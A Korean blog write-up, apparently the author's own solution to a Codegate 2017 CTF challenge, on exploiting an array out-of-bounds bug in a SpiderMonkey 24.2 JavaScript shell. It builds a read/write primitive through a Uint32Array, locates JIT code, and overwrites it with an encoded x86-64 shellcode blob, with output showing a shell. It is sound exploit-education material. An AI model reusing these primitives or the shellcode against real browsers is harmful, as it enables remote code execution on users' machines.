'2022/09/03'에 해당되는 글 2건

https://pes3nte.wordpress.com/2019/06/29/%eb%b8%8c%eb%9d%bc%ec%9a%b0%ec%a0%80-%ec%b7%a8%ec%95%bd%ec%a0%90-%ec%9d%b5%ec%8a%a4%ed%94%8c%eb%a1%9c%ec%9e%87-part-2/Part

 

브라우저 취약점 익스플로잇 Part-2

해당 포스트는 총 2개의 글로 되어있습니다. Part 1을 보시려면 다음 링크를 클릭하세요. 브라우저 취약점 익스플로잇 Part-1 4. JIT 개념 및 테스트 OOB 취약점을 가진 Array를 통해 EIP를 바꾸는 방법은

pes3nte.wordpress.com

 

브라우저 취약점 익스플로잇 Part-2

해당 포스트는 총 2개의 글로 되어있습니다. Part 1을 보시려면 다음 링크를 클릭하세요. 브라우저 취약점 익스플로잇 Part-1 4. JIT 개념 및 테스트 OOB 취약점을 가진 Array를 통해 EIP를 바꾸는 방법은

pes3nte.wordpress.com

브라우저 취약점 익스플로잇 Part-1


4. JIT 개념 및 테스트

OOB 취약점을 가진 Array를 통해 EIP를 바꾸는 방법은 여러가지가 있지만 다음 3가지를 대표적으로 이용하는 것 같습니다.

  1. vtable overwrite
  2. plt overwrite
  3. JIT overwrite

1번과 2번 방법도 많이 쓰이지만 개인적으로 3번 방법으로 풀이를 하길 원했습니다. 그래서 1번과 2번 풀이를 최대한 방해하고자 pie 옵션을 넣었지만.. OOB가 일어난 시점이서는 사실 의미가 없는것 같네요. 메모리릭을 제대로 하면 1,2번으로도 충분히 풀이가능합니다.

우선 JIT이 무엇인지 간단히 알아보겠습니다. 위키백과를 보면 다음과 같이 정의되어 있습니다.

  • JIT 컴파일(just-in-time compilation) 또는 동적 번역(dynamic translation)은 프로그램을 실제 실행하는 시점에 기계어로 번역하는 컴파일 기법이다. 이 기법은 프로그램의 실행 속도를 빠르게 하기 위해 사용된다.

쉽게 말해 자주 쓰는 코드를 미리 바이트코드로 만들어놓고 메모리에 올려 실행하는 것을 의미합니다.

여기서 주목해야 할 점은 바이트코드를 올릴 때 해당 메모리에 실행권한이 부여된다는 사실입니다. 최종 목표는 이 실행권한이 있는 메모리에 있는 코드를 쉘코드로 바꿔치기하여 실행하는 것입니다. JIT에 대한 코드는 “/mozjs-24.2.0/js/src/jit/BaselineJIT.cpp”에 존재합니다. 그 중에 EnterBaseline 함수를 먼저 보겠습니다.

EnterBaseline(JSContext *cx, EnterJitData &data)
{
                                         ..... 생략
        // Single transition point from Interpreter to Baseline.
        enter(data.jitcode, data.maxArgc, data.maxArgv, data.osrFrame, data.calleeToken,
              data.scopeChain, data.osrNumStackValues, data.result.address());
                                         ..... 생략
}
광고
 
이 광고 신고

JIT과 관련된 코드입니다. jitcode의 주소, 인자의 갯수, 인자의 포인터 등 정보를 가지고 있습니다. 다음과 같이 jitcode의 주소를 출력하도록 수정합니다.

EnterBaseline(JSContext *cx, EnterJitData &data)
{
                                         ..... 생략
        // Single transition point from Interpreter to Baseline.
        printf("jitcode Address:%lx\n", data.jitcode); //추가
        enter(data.jitcode, data.maxArgc, data.maxArgv, data.osrFrame, data.calleeToken,
              data.scopeChain, data.osrNumStackValues, data.result.address());
                                         ..... 생략
}

make로 다시 컴파일을 한 후 JIT을 실험하기 위해 다음과 같이 “test2.js”라는 테스트 스크립트를 작성합니다.

//test2.js
function testFunction()
{
        print('test');
}
testFunction()

실행 결과는 다음과 같습니다.

root@ubuntu:~/mozilla/build# ./js test2.js
test

jitcode의 주소가 출력이 되지 않았습니다. 함수가 여러번 호출하지 않으므로 spidermonkey가 판단하기에 딱히 JIT을 사용할 필요성을 느끼지 못했기 때문입니다. 따라서 다음과 같이 코드를 수정합니다.

//test2.js
function testFunction()
{
        print('test');
}

//여러번 호출하는 걸로 수정
for(var i=0; i<20; i++)
  testFunction()
광고
 
이 광고 신고

그러면 다음과 같이 jitcode가 출력되는 것을 알 수 있습니다.

root@ubuntu:~/pesante_fuzzer2/mozilla/build# ./js test2.js
test
test
....
test
test
jitcode Address:7f2d552ef348
test
jitcode Address:7f2d552ef790
test
jitcode Address:7f2d552ef790

testFunction의 jitcode는 0x7f2d552ef790에 할당된다는 것을 알 수 있습니다. 앞부분의 0x7f2d552ef348 주소는 정확히 분석은 하진 않았지만 사전작업을 하기 위한 코드를 올리는 것 같습니다. 코드안에 Math.atan()를 삽입하고 디버거에서 js::math_atan에 브레이크를 걸어 스크립트단에서 디버깅이 가능합니다.

//test2.js
function testFunction()
{
        print('test');
        Math.atan()
}

for(var i=0; i<20; i++)
        testFunction()

함수가 jit에 할당될때까지 continue하여 vmmap을 보면 다음과 같습니다.

gdb-peda$ b * js::math_atan
Breakpoint 1 at 0x589310: file /root/pesante_fuzzer2/mozilla/mozjs-24.2.0/js/src/jsmath.cpp, line 207.
gdb-peda$ r test2.js

                                    ..... 생략

Breakpoint 1, js::math_atan (cx=0xb64910, argc=0x0, vp=0xbc8780) at /root/pesante_fuzzer2/mozilla/mozjs-24.2.0/js/src/jsmath.cpp:207
207    {
gdb-peda$ c
                                    ..... 생략
jitcode Address:7ffff7fa07e8
test
                                    ..... 생략
gdb-peda$ vmmap
Start              End                Perm    Name
0x00400000         0x008f8000         r-xp    /root/pesante_fuzzer2/mozilla/build/shell/js
0x00af7000         0x00b22000         r--p    /root/pesante_fuzzer2/mozilla/build/shell/js
0x00b22000         0x00b2c000         rw-p    /root/pesante_fuzzer2/mozilla/build/shell/js
                                    ..... 생략
0x00007ffff7dd3000 0x00007ffff7dd7000 rw-p    mapped
0x00007ffff7dd7000 0x00007ffff7dfd000 r-xp    /lib/x86_64-linux-gnu/ld-2.23.so
0x00007ffff7f94000 0x00007ffff7fa4000 rwxp    mapped      --> 메모리에 rwx 권한!
0x00007ffff7fa4000 0x00007ffff7feb000 rw-p    mapped
                                    ..... 생략
광고
 
이 광고 신고

testFunction의 jit code는 0x7ffff7fa07e8영역에 존재하며 해당 메모리에는 rwx 권한이 있는 것을 확인할 수 있습니다.

이제 OOB 취약점을 가진 Array를 통해 jitcode의 주소를 릭하고 쉘코드를 할당하여 쉘을 획득해보겠습니다.


5. Array 메모리 분석 및 익스플로잇

우선 Array를 만들고 메모리상에서 살펴보겠습니다. 특정 객체를 디버깅하기 위한 api를 js 쉘에서 제공하지만 이것을 이용하진 않았습니다(후에 누가 공부하게 된다면 자료 공유 좀 해주세요!). 또한 디버깅 모드로 컴파일하면 더 편하게 디버깅 할 수 있습니다.

저는 릴리즈 모드에서 Array를 메모리에서 디버깅하기 위해 Math.atan함수의 인자로 넘겼습니다. 다음과 같이 test3.js라는 이름의 테스트 스크립트를 작성한 후 gdb로 실행합니다.

//test3.js
a=[0x41414141,0x51515151,0x61616161]
a.length=0xdeadbeef
print('length:'+a.length)
Math.atan(a)

마찬가지로 atan함수에 브레이크를 걸고 메모리상에서 Array를 보겠습니다.

gdb-peda$ b * js::math_atan
Breakpoint 1 at 0x589310: file /root/pesante_fuzzer2/mozilla/mozjs-24.2.0/js/src/jsmath.cpp, line 207.
gdb-peda$ r test3.js
Starting program: /root/pesante_fuzzer2/mozilla/build/js test3.js
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
length:3735928559

                                    ..... 생략

Breakpoint 1, js::math_atan (cx=0xb64910, argc=0x1, vp=0xbc86f8) --> vp+2에 인자가 존재함!
    at /root/pesante_fuzzer2/mozilla/mozjs-24.2.0/js/src/jsmath.cpp:207

atan에 인자중 vp(value pointer)가 array를 가지고 있습니다. 정확하게는 vp+2, 즉 vp에서 16바이트 떨어진 곳에 array 객체의 주소가 존재합니다. 이 때 주의할 것은 해당 값이 주소값만 가지고 있는 것이 아니라는 것입니다. 앞에 2.5바이트 정도는 해당 객체의 타입이며 뒤에 5.5바이트 정도가 주소입니다.

즉 0xfffbfffff6844ac0으로 값이 들어가있지만 앞에 2.5바이트 정도는 제외하고 뒤에 5.5인 0x7ffff6844ac0을 봐야 객체를 볼 수 있습니다. 타입에 대한 자세한 정보는 “/mozjs-24.2.0/js/public/Value.h”를 보면 알 수 있습니다.

Array 객체의 구조를 보면 다음과 같습니다.

앞에는 상속받은 객체등의 주소가 존재하며 뒤에서부터 실제로 데이터가 존재하는 주소, 배열의 크기, 실제 데이터들이 존재합니다. 이중에서 중요한 것은 데이터의 주소, 배열의 크기입니다. 이 두개만 잘 변조해도 익스플로잇이 가능합니다.

배열의 크기는 두개가 존재합니다. 하나는 실제 메모리상에 할당된 c++의 배열크기, 하나는 자바스크립트상의 가상 배열크기입니다. 이것이 단순히 length를 변경한다고 해서 OOB가 일어나지 않는 이유입니다. test3.js와 같이 0xdeadbeef로 길이를 변경해도 가상 배열크기만 바뀌기 때문에 OOB가 일어나지 않습니다. for문을 돌려 가상길이만큼 출력을 해도 할당되지 않은 값들은 undefine으로 출력됩니다. 실제 메모리상에 할당된 c++의 크기를 바꿔야 OOB 취약점이 발생합니다.

Array 객체를 분석해 보았으니 다음은 익스플로잇을 해보겠습니다.

해야할 일의 과정은 다음과 같습니다.

  1. OOB된 Array 만들기
  2. OOB된 Array를 통해 Uint32Array의 주소 릭
  3. OOB된 Array를 통해 JIT code의 주소 릭
  4. JIT code에 쉘코드 overwrite
  5. 함수호출

1번 과정은 위에서 확인했으니 2번부터 진행하겠습니다. OOB가 된 Array가 있음에도 Uint32Array를 사용하는 이유는 두 가지입니다. 첫째는 원하는 주소에 원하는 값을 넣을 수 있는 함수를 만들기 위해서, 두번째는 Array보다 직관적으로 값을 넣을 수 있기 때문입니다. Array를 이용하여 값을 넣을 시에는 인트형으로 바로 값을 넣을 수 없기 때문에 약간의 변환 과정을 거쳐서 넣어야 메모리에 원하는 값이 들어갑니다. 물론 이 방법도 그리 어렵진 않기 때문에 편하신 방법으로 사용하시면 됩니다.

다음은 OOB Array를 이용하여 Uint32Array 객체를 찾는 “test4.js” 코드입니다.

//test4.js
//OOB Array 생성
var oob_Array=new Array(1)
oob_Array[0]=0x41414141

//uint Array 생성
var uint32_Array=new Uint32Array(0x1000)
for(var i=0; i<0x1000; i=i+1) {uint32_Array[i]=0x4141414141}

//OOB 트리거
oob_Array.pop()
oob_Array.pop()

//OOB Array를 통해 uInt32Array를 찾음
uint32_baseaddress_offset=0
for (i=0; i<0x1000; i++)
{
        if(oob_Array[i]==0x1000)
        {
                print('uInt32Array found');
                uint32_baseaddress_offset=i+2
                break;
        }
}

print('uInt32Array data address:'+oob_Array[uint32_baseaddress_offset])

주의할 점이 하나 있는데, OOB Array를 만들때 데이터를 크게 생성하면 데이터의 베이스주소가 멀리 떨어진 heap에 할당되어 Uint32Array의 헤더를 찾을 수 없게 됩니다. 데이터를 작게 할당해야 헤더와 가까운 곳에 데이터가 할당되어 OOB Array를 통해 Uint32Array의 헤더를 찾고 조작할 수 있습니다.

OOB Array 의 데이터를 크게 할당할 시 메모리구조

0x100 OOB Array의 헤더(배열의 크기, 데이터 포인터 포함)
0x200 Uint32Array의 헤더(배열의 크기, 데이터 포인터 포함)
0x300 Uint32Array의 데이터
       .....
0x1000 OOB Array의 데이터

OOB Array 의 데이터를 작게 할당할 시 메모리구조

0x100 OOB Array의 헤더(배열의 크기, 데이터 포인터 포함)
0x120 OOB Array의 데이터
       .....
0x200 Uint32Array의 헤더(배열의 크기, 데이터 포인터 포함)
0x300 Uint32Array의 데이터

“test4.js” 코드를 실행하면 다음과 같이 Uint32Array 배열을 찾는 것을 알 수 있습니다.

root@ubuntu:~/mozilla/build# ./js test4.js
jitcode Address:7ffff7fa059d
uInt32Array found
uInt32Array data address:6.2072194e-317

그런데 한가지 문제가 있습니다. uInt32Array의 데이터 주소가 우리가 알아볼 수 있는 헥사값으로 출력되지 않는 것입니다. 이것을 해결하기 위해 다음과 같은 도구 함수를 만들어줍니다. 이것은 메모리 릭한 값을 편하게 볼수 있도록 도와줍니다.

function d_to_i2(d){
     var a = new Uint32Array(new Float64Array([d]).buffer);
     return [a[1], a[0]];
 }

 function i2_to_d(x){
     return new Float64Array(new Uint32Array([x[1], x[0]]).buffer)[0];
 }

function i2_to_hex(i2){
        var v1 = ("00000000" + i2[0].toString(16)).substr(-8);
        var v2 = ("00000000" + i2[1].toString(16)).substr(-8);
     return [v1,v2];
 }

 function p_i2(d){
     print(i2_to_hex(d_to_i2(d))[0]+i2_to_hex(d_to_i2(d))[1])
 }

위의 도구 함수들을 test4.js에 추가하고 p_i2 함수를 통해 아까의 값을 출력하면 이제 우리가 알아볼 수 있는 헥사값으로 출력됩니다.

//test4.js
function d_to_i2(d){
         var a = new Uint32Array(new Float64Array([d]).buffer);
         return [a[1], a[0]];
 }

 function i2_to_d(x){
     return new Float64Array(new Uint32Array([x[1], x[0]]).buffer)[0];
 }

function i2_to_hex(i2){
                var v1 = ("00000000" + i2[0].toString(16)).substr(-8);
                var v2 = ("00000000" + i2[1].toString(16)).substr(-8);
         return [v1,v2];
 }

 function p_i2(d){
         print(i2_to_hex(d_to_i2(d))[0]+i2_to_hex(d_to_i2(d))[1])
 }

var oob_Array=new Array(1)
oob_Array[0]=0x41414141
var uint32_Array=new Uint32Array(0x1000)
for(var i=0; i<0x1000; i=i+1) {uint32_Array[i]=0x4141414141}

oob_Array.pop()
oob_Array.pop()

uint32_baseaddress_offset=0
for (i=0; i<0x1000; i++)
{
        if(oob_Array[i]==0x1000)
        {
                print('uInt32Array found');
                uint32_baseaddress_offset=i+2
                break;
        }
}

//p_i2를 통해 출력
p_i2(oob_Array[uint32_baseaddress_offset])

                    .....

결과화면

jitcode Address:7ffff7fa065d
uInt32Array found
0000000000bfb460

uInt32Array의 데이터 주소가 있는 위치를 알았습니다. 이것을 변조하면 uInt32Array에 값을 넣을때 변조한 주소로부터 데이터를 쓰게 되므로 원하는 주소에 원하는 값을 쓸수 있게 됩니다.

이것을 함수로 만들면 다음과 같습니다.

//원하는 주소의 4바이트 값을 read
function read4(addr){
        oob_Array[uint32_baseaddress_offset]=i2_to_d(addr)
        return uint32_Array[0]
}
//원하는 주소에 4바이트 값을 write
function write4(addr,value){
        oob_Array[uint32_baseaddress_offset]=i2_to_d(addr)
        uint32_Array[0]=value
}

이제 특정 주소에 특정값을 넣을 수 있으니 JIT 영역의 주소를 릭해서 쉘코드로 덮은 다음 호출하면 됩니다. 그럼 JIT 영역의 주소를 어디서 릭해올 수 있을까요. 배열처럼 크기를 마음대로 조절하면 그것을 심볼로 삼아 찾으면 되지만 함수가 딱히 크기를 갖는것도 아니고 말이죠.

처음에는 gdb 상에서 find로 JIT code의 주소를 검색하여 uInt32Array을 기준으로 오프셋을 하드코딩하여 구했습니다. 하지만 그러다보니 익스플로잇의 확률이 낮았습니다. 그래서 생각한 두번째 방법이 함수의 인자갯수를 엄청나게 늘린다음 그것을 심볼로 삼는 것이었습니다. JIT을 다루는 구조체에는 아래처럼 maxArgc가 있기에 jitcode의 주소 근처에 인자의 갯수로 찾으면 jitcode의 주소를 쉽게 찾을수 있을거라 생각했습니다.

EnterBaseline(JSContext *cx, EnterJitData &data)
{
                                         ..... 생략
        //data.maxArgc가 존재하므로 함수의 인자 갯수를 조절하면 심볼로 삼아 찾을 수 있지 않을까?
        enter(data.jitcode, data.maxArgc, data.maxArgv, data.osrFrame, data.calleeToken,
              data.scopeChain, data.osrNumStackValues, data.result.address());
                                         ..... 생략
}

그래서 아래와 같이 테스트 코드를 작성했습니다.

function d_to_i2(d){
         var a = new Uint32Array(new Float64Array([d]).buffer);
         return [a[1], a[0]];
 }

 function i2_to_d(x){
     return new Float64Array(new Uint32Array([x[1], x[0]]).buffer)[0];
 }

function i2_to_hex(i2){
                var v1 = ("00000000" + i2[0].toString(16)).substr(-8);
                var v2 = ("00000000" + i2[1].toString(16)).substr(-8);
         return [v1,v2];
 }

 function p_i2(d){
         print(i2_to_hex(d_to_i2(d))[0]+i2_to_hex(d_to_i2(d))[1])
 }

var oob_Array=new Array(1)
oob_Array[0]=0x41414141
var uint32_Array=new Uint32Array(0x1000)
for(var i=0; i<0x1000; i=i+1) {uint32_Array[i]=0x4141414141}

oob_Array.pop()
oob_Array.pop()

uint32_baseaddress_offset=0
for (i=0; i<0x1000; i++)
{
        if(oob_Array[i]==0x1000)
        {
                print('uInt32Array found');
                uint32_baseaddress_offset=i+2
                break;
        }
}


//함수의 인자를 33개로 늘려서 테스트함
function testF(a1,a2,a3,a4,a5,a6,a7,a8,a9,a10,a11,a12,a13,a14,a15,a16,a17,a18,a19,a20,a21,a22,a23,a24,a25,a26,a27,a28,a29,a30,a31,a32,a33){
        print("testF");
}



p_i2(oob_Array[uint32_baseaddress_offset])

for(i=0; i<20; i++)
{
        testF(1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33)
}

testF_offset=0
for (i=0; i<0x10000; i++)
{
        //늘린 인자의 갯수로 검색을 해봄
        if(oob_Array[i]==33)
        {
                print('testF found')
                testF_offset=i
                break
        }
}

testF의 인자 갯수를 특정 갯수까지 늘리고 그것을 심볼로 jitcode의 주소를 찾아내려 시도했습니다. 하지만 실행해본 결과 마음대로 되질 않았습니다. 그래서 다른 방법을 찾다가 jitcode 주소를 가진 메모리를 둘러보니 다음과 같은 값이 변하지 않는 것을 발견했습니다.

0x0000016000000171이라는 값은 같은 코드라면 값이 변하지 않았습니다. 함수의 내용이 변할 경우 해당 값이 변하는 것으로 보아 해당 함수에 대한 어떠한 정보를 가지고 있는 것으로 보입니다. 정확히 무슨 값인지는 분석하지 않았으나 해당 값을 심볼로 삼아 JIT code 의 주소를 알아낼 순 있었습니다.

function d_to_i2(d){
         var a = new Uint32Array(new Float64Array([d]).buffer);
         return [a[1], a[0]];
 }

 function i2_to_d(x){
     return new Float64Array(new Uint32Array([x[1], x[0]]).buffer)[0];
 }

function i2_to_hex(i2){
                var v1 = ("00000000" + i2[0].toString(16)).substr(-8);
                var v2 = ("00000000" + i2[1].toString(16)).substr(-8);
         return [v1,v2];
 }

 function p_i2(d){
         print(i2_to_hex(d_to_i2(d))[0]+i2_to_hex(d_to_i2(d))[1])
 }

var oob_Array=new Array(1)
oob_Array[0]=0x41414141
var uint32_Array=new Uint32Array(0x1000)
for(var i=0; i<0x1000; i=i+1) {uint32_Array[i]=0x4141414141}

oob_Array.pop()
oob_Array.pop()

for (i=0; i<0x1000; i++)
{
        if(oob_Array[i]==0x1000)
        {
                print('uInt32Array found');
                uint32_baseaddress_offset=i+2
                break;
        }
}

function testF(a1){
        print('testF')
}

p_i2(oob_Array[uint32_baseaddress_offset])

for(i=0; i<20; i++)
{
        testF(1)
}

jit_address_offset=0
for (i=0x0; i<0x10000; i++)
{
        hx=i2_to_hex(d_to_i2(oob_Array[i]))
        if(hx[0]+hx[1]=='0000016000000171')
        {
                print('function found');
                jit_address_offset=i-2
                break;
        }
}

print('jit_address:')
p_i2(oob_Array[jit_address_offset])

Math.atan()

코드를 돌리면 다음과 같이 나옵니다.

root@ubuntu:~/pesante_fuzzer2/mozilla/build# ./js test.js
jitcode Address:7fa1897bd68d
uInt32Array found
00000000017f7460
..... 생략
function found
jit_address:
00007fa1897c04b8

이제 JIT code의 주소를 알아왔으니 쉘코드로 덮고 실행만 하면 됩니다. 특정 주소에 쉘코드를 삽입하는 함수를 만들고 삽입한 후 jitcode를 덮은 함수를 호출하면 쉘코드가 실행됩니다.

function d_to_i2(d){
         var a = new Uint32Array(new Float64Array([d]).buffer);
         return [a[1], a[0]];
 }

 function i2_to_d(x){
     return new Float64Array(new Uint32Array([x[1], x[0]]).buffer)[0];
 }

function i2_to_hex(i2){
                var v1 = ("00000000" + i2[0].toString(16)).substr(-8);
                var v2 = ("00000000" + i2[1].toString(16)).substr(-8);
         return [v1,v2];
 }

 function p_i2(d){
         print(i2_to_hex(d_to_i2(d))[0]+i2_to_hex(d_to_i2(d))[1])
 }

var oob_Array=new Array(1)
oob_Array[0]=0x41414141
var uint32_Array=new Uint32Array(0x1000)
for(var i=0; i<0x1000; i=i+1) {uint32_Array[i]=0x4141414141}

oob_Array.pop()
oob_Array.pop()

for (i=0; i<0x1000; i++)
{
        if(oob_Array[i]==0x1000)
        {
                print('uInt32Array found');
                uint32_baseaddress_offset=i+2
                break;
        }
}

function testF(a1){
        print('testF')
}



p_i2(oob_Array[uint32_baseaddress_offset])

for(i=0; i<20; i++)
{
        testF(1)
}

jit_address_offset=0
for (i=0x0; i<0x10000; i++)
{
        hx=i2_to_hex(d_to_i2(oob_Array[i]))
        if(hx[0]+hx[1]=='0000016000000171')
        {
                print('function found');
                jit_address_offset=i-2
                break;
        }
}

print('jit_address:')
p_i2(oob_Array[jit_address_offset])

function read4(addr){
        oob_Array[uint32_baseaddress_offset]=i2_to_d(addr)
        return uint32_Array[0]
}

function write4(addr,value){
        oob_Array[uint32_baseaddress_offset]=i2_to_d(addr)
        uint32_Array[0]=value
}

//JIT 영역에 쉘코드를 넣는 함수
function shellcodeInject(addr, shellcode){
        var hex = '';
        var shellcodeA=[]
        var c=0
        for(var i=0; i<shellcode.length;i=i+4)
        {
              for(var j=0; j<4; j++)
              {
                    if(shellcode[i+j]!=undefined)
                        hex+=("00"+shellcode.charCodeAt(i+j).toString(16, 2)).substr(-2)
              }
              shellcodeA[c]=parseInt('0x'+hex.match(/.{1,2}/g).reverse().join(''), 16)
              hex=''
              c=c+1
        }
        for(var i=0; i<shellcodeA.length; i=i+1)
        {
              addr[1]=addr[1]+4
              write4(addr, shellcodeA[i])
        }
}

shellcode="\x48\x31\xc9\x48\x81\xe9\xfa\xff\xff\xff\x48\x8d\x05\xef\xff\xff\xff\x48\xbb\xf3\x60\x6a\x1d\xa5\x99\x5f\x03\x48\x31\x58\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4\x99\x5b\x32\x84\xed\x22\x70\x61\x9a\x0e\x45\x6e\xcd\x99\x0c\x4b\x7a\x87\x02\x30\xc6\x99\x5f\x4b\x7a\x86\x38\xf5\xad\x99\x5f\x03\xdc\x02\x03\x73\x8a\xea\x37\x03\xa5\x37\x22\x94\x43\x96\x5a\x03"

shellcodeInject(d_to_i2(oob_Array[jit_address_offset]), shellcode)
testF(1)

Math.atan()

그 결과 쉘을 획득하는 것을 확인할 수 있습니다.

root@ubuntu:~/pesante_fuzzer2/mozilla/build# ./js test.js
jitcode Address:7f25332ab71d
.....생략
#

후기

ATOM으로 글을 쓰다가 두번이나 글을 날렸네요.. 우리 모두 글을 쓸땐 ATOM으로 쓰는 버릇을 버리도록 합시다.

세상은 넓고 고수들은 참 많은것 같습니다. 문제를 내면 짧은 시간에 문제를 푸는 팀들을 보며 놀랄 뿐입니다. 익스를 보면서 출제자도 많이 공부하게 되네요.(대회 때 문제를 풀어준 cykor와 binja팀 감사합니다.)

제가 쓴 라이트업은 굉장히 길지만 이것저것 바꾸다보면 굉장히 짧은 라이트업으로 바꿀수 있습니다(귀찮아서 하지 않은 절대 아닙니ㄷ..). 심심하신 분들은 도전해보시길..

코드게이트 2017 운영하신 분들.. 풀어주신 분들 모두 수고하셨습니다.

브라우저 취약점 익스플로잇 Part-1

블로그 운영을 시작합니다.새로운 글을 쓰기 전에 이전에 썼던 글을 미리 링크합니다.블랙펄시큐리티에 다니면서 브라우저 취약점에 대해 공부했던 내용입니다. 자바스크립트 엔진 취약점을 만들고, 익스플로잇을 연습하기까지 과정을 적어놓았습니다.

https://bpsecblog.wordpress.com/2017/04/27/javascript_engine_array_oob/


Javascript Engine(Spider Monkey) Array OOB Analyzing

안녕하세요.
블랙펄시큐리티 pesante입니다.

2016년 화이트햇 콘테스트, 2017년 코드게이트 문제를 내면서 자바스크립트 엔진을 공부하게 되어 글을 씁니다. 사실 문제의 라이트업이라기보다 분석하면서 삽질했던 것들을 써보려 합니다. 원래는 크롬이 쓰는 V8을 이용하여 문제를 내려고 했으나 소스를 분석해본 결과 모질라의 spidermonkey가 조금 더 소스가 직관적으로 되어 있어 문제를 내기가 용이했습니다.

  • V8 자바스크립트 엔진(V8 JavaScript Engine)은 구글에서 개발된 오픈 소스 JIT 가상 머신형식의 자바스크립트 엔진이며 구글 크롬 브라우저와 안드로이드 브라우저에 탑재되어 있다.
  • SpiderMonkey is the code name for the first JavaScript engine, written by Brendan Eich at Netscape Communications, later released as open source and currently maintained by the Mozilla Foundation. SpiderMonkey provides JavaScript support for Mozilla Firefox and various embeddings such as the GNOME 3 desktop.

가장 강력한 취약점 중 하나인 Array의 out of bound 취약점을 목표로 삼았습니다. 목차는 다음과 같습니다.

  1. OOB(Out Of Bound) 취약점 개요
  2. spidermonkey 다운로드 및 컴파일
  3. 소스분석 및 OOB 배열 생성
  4. JIT 개념 및 테스트
  5. Array 메모리 분석 및 익스플로잇
  6. 후기

a

1. OOB(Out Of Bound) 취약점 개요

OOB(Out Of Bound)는 여러가지 취약점 중 가장 강력한 취약점 중 하나로 Array의 lengh를 속여 해당 길이만큼의 메모리를 read 혹은 write 할 수 있습니다. 자바스크립트 엔진 코드 안에 Array의 크기는 최대 0xffffffff로 정의되어 있고 십진수로 전환하면 4294967295만큼의 메모리를 읽고 쓸수 있습니다. 32bit 어플리캐이션이라면 모든 메모리를 쉽게 바로 읽고 쓸 수 있으며 64bit 어플리캐이션 또한 약간의 테크닉을 이용하여 모든 메모리를 읽고 쓸 수 있습니다. 물론 해당 메모리에 읽기, 쓰기, 접근을 하려면 각각의 권한이 있을때 가능합니다.

그럼 이제 직접 자바스크립트 엔진을 컴파일하여 분석해보겠습니다.


2. spidermonkey 다운로드 및 컴파일

SpiderMonkey 공식 홈페이지에 다운로드 및 컴파일을 하는 방법이 잘 나와있습니다.

https://developer.mozilla.org/en-US/docs/Mozilla/Projects/SpiderMonkey

컴파일하기 전에 다음과 같은 패키지들이 필요합니다. 미리 설치를 해둡니다.

apt-get updated
apt-get install python-pip gcc make g++ perl python autoconf -y

spidermonkey의 컴파일 방법은 생각보다 간단합니다. 우선 아래 명령어를 통해 소스를 다운로드 받고 압축을 풉니다.

mkdir mozilla
cd mozilla
wget http://ftp.mozilla.org/pub/mozilla.org/js/mozjs-24.2.0.tar.bz2
tar xjf mozjs-24.2.0.tar.bz2

그리고 다음과 같이 configure 하면 해당 컴퓨터에 필요한 패키지가 있는지 검사합니다. 만약 없으면 apt-get으로 설치후 build 폴더를 clear한 다음에 다시 configure 합니다. 단, 코드게이트 2017 예선 문제는 pie를 추가하기위해 configure를 할때 CXXFLAGS=”-fpic -pie” 옵션을 추가하여 컴파일했습니다.

$ mkdir build
$ cd build
$ ../mozjs-24.2.0/js/src/configure
creating cache ./config.cache
checking host system type... x86_64-apple-darwin16.4.0
checking target system type... x86_64-apple-darwin16.4.0
checking build system type... x86_64-apple-darwin16.4.0
checking for gawk... no
checking for mawk... no
checking for nawk... no
checking for awk... awk
checking for clang... /usr/bin/clang


                              .........


Reticulating splines...
Finished reading 7 moz.build files into 20 descriptors in 0.01s
Backend executed in 0.03s
16 total backend files. 16 created; 0 updated; 0 unchanged
Total wall time: 0.04s; CPU time: 0.04s; Efficiency: 99%
invoking /usr/bin/make to create js-config script
rm -f js-config.tmp
/Users/ijihun/Documents/blackperl/mozjs/mozilla/build/_virtualenv/bin/python ../mozjs-24.2.0/js/src/config/Preprocessor.py --marker % -Dprefix="/usr/local" -Dexec_prefix="/usr/local" -Dincludedir="/usr/local/include" -Dlibdir="/usr/local/lib" -DMOZILLA_VERSION="" -DLIBRARY_NAME="mozjs-" -DJS_CONFIG_LIBS=" -dynamiclib -install_name @executable_path/libmozjs-.dylib -compatibility_version 1 -current_version 1 -single_module  -lm -lz" -DJS_CONFIG_MOZ_JS_LIBS="-L/usr/local/lib -lmozjs-" -DMOZJS_MAJOR_VERSION="" -DMOZJS_MINOR_VERSION="" -DMOZJS_PATCH_VERSION="" -DMOZJS_ALPHA="" -DNSPR_CFLAGS="" -DNSPR_PKGCONF_CHECK="nspr" -DUSE_CXX11="" ../mozjs-24.2.0/js/src/js-config.in > js-config.tmp \
    && mv js-config.tmp js-config && chmod +x js-config

그 다음 make를 쳐주기만 하면 엄청난 로그들과 함께 build를 하기 시작합니다. 소스가 꽤 크기 때문에 build하는 데에 시간이 꽤 걸립니다(10분~20분 소요).

$ make


                              .........




/Applications/Xcode.app/Contents/Developer/usr/bin/make tools
/Applications/Xcode.app/Contents/Developer/usr/bin/make -C config tools
make[2]: Nothing to be done for `tools'.
/Applications/Xcode.app/Contents/Developer/usr/bin/make -C editline tools
make[2]: Nothing to be done for `tools'.
/Applications/Xcode.app/Contents/Developer/usr/bin/make -C shell tools
make[2]: Nothing to be done for `tools'.
/Applications/Xcode.app/Contents/Developer/usr/bin/make -C jsapi-tests tools
make[2]: Nothing to be done for `tools'.
/Applications/Xcode.app/Contents/Developer/usr/bin/make -C tests tools
make[2]: Nothing to be done for `tools'.
/Applications/Xcode.app/Contents/Developer/usr/bin/make -C gdb tools
make[2]: Nothing to be done for `tools'.
if test -d dist/bin ; then touch dist/bin/.purgecaches ; fi

컴파일이 끝나면 여러 오브젝트가 생성됩니다. 우리가 이용해야 할 핵심 파일은 js라는 파일입니다. ls를 통해 해당 파일을 확인해보면 아래와 같습니다.

$ ls -l js
lrwxr-xr-x  1 ijihun  staff  62  2 12 17:14 js -> /Users/ijihun/Documents/blackperl/mozjs/mozilla/build/shell/js

js를 실행했을 때 “js>”라는 인터프리터 쉘이 뜨면 컴파일은 완료되었고 실행이 된것입니다.


3. 소스분석 및 OOB 배열 생성

